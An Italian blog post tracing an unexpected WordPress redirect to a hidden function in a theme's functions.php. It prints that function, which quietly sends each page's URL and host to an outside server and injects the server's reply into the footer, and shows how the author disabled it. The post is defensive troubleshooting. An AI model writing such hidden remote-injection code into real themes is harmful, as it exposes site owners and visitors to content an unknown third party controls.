Nella giornata di oggi alcuni siti che gestisco, impostati su Wordpress, hanno cominciato a mostrare il seguente avviso un paio di secondi dopo aver terminato il caricamento della home-page:

Errore di Wordpress

Errore di Wordpress

Trattandosi di un provider perlopiù sconosciuto ho cominciato a domandarmi se non si fosse trattato di una intrusione di qualche tipo, per quanto improbabile. Entrando direttamente nella pagina di backoffice ho notato che il problema non si è riproposto, pertanto ho dedotto che il problema era legato al frontend (o anche solo al tema).

Ho così ricaricato la homepage e bloccato il caricamento prima che si innescasse il redirect, dopodiché ho visualizzato il codice della pagina alla ricerca di un qualche riferimento alla finestra di errore. Ho così trovato il redirect nella sezione del footer:

<div><meta http-equiv="refresh" content="0;url=http://sb57.inmotionhosting.com/suspended.page/" /></div>

Seguendo il “filo di arianna” sono così andato a guardare da cosa fosse generato l’output della pagina con l’editor del backoffice (Aspetto > Editor). Aperta in modalità editing la pagina footer.php ho trovato questa funzione:

<div><? wp_rss2feed(); ?></div>

La funzione è elencata chiaramente in functions.php:

function wp_rss2feed()
{
$url = "http://wp-templatepath.com/wp-rss2.php?" . "url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "host=" . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen("wp-templatepath.com", 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}

E chiaramente provando ad aprire il link http://wp-templatepath.com/ ho ottenuto la fatidica pagina di errore. Per risolvere “brutalmente” il problema è bastato commentare il riferimento alla funzione, in questo modo:

<!--  <div><? wp_rss2feed(); ?></div> -->

Vediamo se ripristinano il servizio…

Articoli correlati:

  1. Wordpress 2.6: sistemiamo le didascalie!
  2. Finalmente un forum completo per Wordpress (e in italiano)!
  3. Xoops + Aruba = ERRORE!

Taggato con:

Archiviato in: TroubleshootingWeb-development

Ti è piaciuto questo articolo? Iscriviti ai miei feed RSS per saperne di più!